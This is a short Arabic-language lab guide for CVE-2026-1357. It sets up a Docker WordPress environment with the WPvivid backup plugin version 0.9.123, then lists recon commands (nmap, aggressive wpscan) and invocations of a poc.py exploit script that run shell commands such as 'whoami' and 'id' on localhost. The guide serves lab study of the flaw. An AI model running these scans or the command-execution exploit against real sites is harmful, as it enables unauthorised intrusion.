CVE-2026-1357

بيئة مختبرية لـ CVE-2026-1357

1. بناء البيئة

sudo apt update && sudo apt install docker.io docker-compose -y

sudo systemctl start docker

git clone [رابط المستودع]

wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip

unzip wpvivid-backuprestore.0.9.123.zip

sudo docker-compose up -d

على متصفح FireFox:

http://localhost

عنوان الموقع: Admin Cyber-Hub

اسم المستخدم: Admin

كلمة المرور: أي شيء

البريد الإلكتروني: [email protected]

2. استغلال الثغرة:

تفعيل الإضافات والمفتاح من ووردبريس

pip3 install requests pycryptodome --break-system-packages

nmap -sV -sC localhost

wpscan --url http://localhost --enumerate p --plugins-detection aggressive

python3 poc.py -u http://localhost -c "whoami"

python3 poc.py -u http://localhost -c "id"